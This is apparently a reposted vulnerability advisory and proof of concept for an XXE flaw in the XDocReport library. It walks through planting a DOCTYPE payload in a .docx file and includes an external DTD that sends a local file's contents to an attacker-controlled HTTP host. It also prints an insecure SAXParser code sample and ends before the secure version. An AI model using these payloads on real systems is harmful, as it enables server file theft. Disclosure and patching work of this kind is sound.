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CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
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GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

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1300 years agoNot yet reviewed
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CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) in XDocReport

Bug Definition

XML External Entity Injection

Vulnerability Overview

  • XML External Entity Injection (XXE) is a vulnerability in the processing of XML formatted data, where a user injects XML data that references an external file or system. Attackers can use this identified XXE vulnerability to scan other systems for open service ports, request confidential files, and access the functionality of connected systems that would otherwise be unavailable. From there, attackers can extract data, interact with systems, and cause service disruption through XML injection.

Business Impact

  • XXE can lead to reputational damage to the business due to loss of user trust and confidence. It can also lead to data theft and indirect financial losses for the business through notification costs, remediation costs, and breached PII data.

Severity HIGH

image

Description and Impact

The HR management website allows users to upload .docx document files to the system. During processing, the application uses the fr.opensagres.xdocreport.document.docx library which contains an XXE vulnerability when passing the user's .docx file through SAXParser.

Affected component

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Root cause analysis

The cause is the use of Apache POI

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

That is, Apache POI is deep inside, in the module:

org.apache.poi.xwpf.converter.core

image

The error occurs because XDocReport (in the module fr.opensagres.xdocreport.document.docx) uses Apache POI to read .docx files, and POI uses the default Java SAXParser without disabling features that allow DTD and External Entity processing. → This allows an attacker to inject a DOCTYPE with an entity pointing externally (SYSTEM "http://...") or to an internal file (file:///...) → leading to XXE.

image

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Step to reproduce

  • Unzip any docx file
unzip ../vcspentest.docx

image

  • Edit the content of the document.xml file inside the docx
nano word/document.xml

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edit with the out-of-band payload to pass through the collaborator as follows:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

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  • Re-zip into a poc file
 zip -r ../poc.docx *

image

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  • Upload the modified docx file to be processed by xdocreport

image

  • Result: a request is sent back to the collaborator

image

  • Elevate impact to read files on the system
  • Host the dtd file on the WSL machine at 172.26.208.130. The content of the vcspentest.dtd file is as follows:
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

Edit the word/document.xml file inside the .docx with the following content to load the external dtd from the WSL machine:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • Zip the file into .docx and upload it to the server for processing

image

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  • On the WSL machine, a request is received with the content of the file D:/vcspentest.txt from the target server

image

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Solution

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

In the code or at the XML parser configuration layer, all features related to DTD and external entities must be disabled.

A fix similar to this code

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
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